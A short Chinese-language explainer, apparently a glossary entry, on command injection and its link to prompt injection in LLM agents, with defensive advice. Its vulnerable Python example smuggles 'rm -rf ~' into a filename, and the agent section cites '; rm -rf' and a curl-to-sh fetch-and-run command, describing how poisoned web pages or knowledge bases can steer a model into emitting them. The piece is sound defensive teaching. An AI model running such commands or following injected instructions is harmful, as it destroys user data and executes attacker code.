一句话定义:命令注入是指程序把外部输入直接拼进 shell(命令解释器)命令里执行,攻击者在输入中塞入 ;、|、&&、$() 这类元字符,让本来只该运行一条命令的地方,多运行一条他自己指定的命令。
原理:数据变成了代码
shell 是靠分隔符来判断“哪一段是一条命令”的。; 表示前一条执行完接着执行下一条,&& 表示成功后接着执行,$() 会先执行括号里的内容再把结果填回来。所以只要字符串是拼出来的,边界就是假的:
```python
危险写法
os.system(f"convert {filename} out.png")
用户传入 filename = "photo.png; rm -rf ~"
实际执行:convert photo.png out.png 然后 rm -rf ~
```
打个比方:你请人照着清单去仓库拿货,清单是“取 A 号货架第三箱”。有人把清单改成“取 A 号货架第三箱;顺便把仓库清空”,而跑腿的人只会逐条照做,不会追问意图。shell 就是那个只认字面、不问意图的跑腿人。
放到 AI 场景里,风险被放大了一档:大模型(LLM)把自然语言变成可执行的 shell 命令,是很常见的 Agent 能力。一旦外层框架把用户输入、网页内容、文档片段拼进命令行,模型输出就从“文本”升级成了“动作”,一句 ; rm -rf 或 curl 恶意地址 | sh 就能越权。而且攻击面不止用户输入——被污染的知识库、检索到的网页,都可能成为藏指令的地方。
和相邻概念的区别
| 概念 | 注入点 | 谁在解释 | 典型后果 |
|---|---|---|---|
| 命令注入 | shell 命令行 | shell / 系统 | 执行任意系统命令 |
| SQL 注入 | 数据库语句 | 数据库引擎 | 拖库、改库、删表 |
| 提示词注入(AI 词典:Prompt Injection">Prompt Injection) | 模型上下文 | 大模型 | 模型输出被操控 |
三者本质相同:代码与数据混在一起,没有分开。区别在于解释器不同。提示词注入和命令注入还常被串起来:先用提示词注入让模型“自愿”生成恶意命令,再由命令注入把它执行掉。所以修好一处不等于安全。
实际意义
- 给从业者:绝不用字符串拼接构造命令。用参数数组形式传参(如 Python 的
subprocess.run([...])走 argv、不经 shell),具体默认行为以官方文档为准;对参数做白名单校验和路径前缀限制;执行环境放容器或沙箱,最小权限、只读挂载;高危命令加人工确认(human-in-the-loop)。 - 给普通职场人:看到“AI 能自动执行命令/操作服务器”这类功能,先问一句权限给了多大。演示环境和生产环境,不该是同一个 shell。
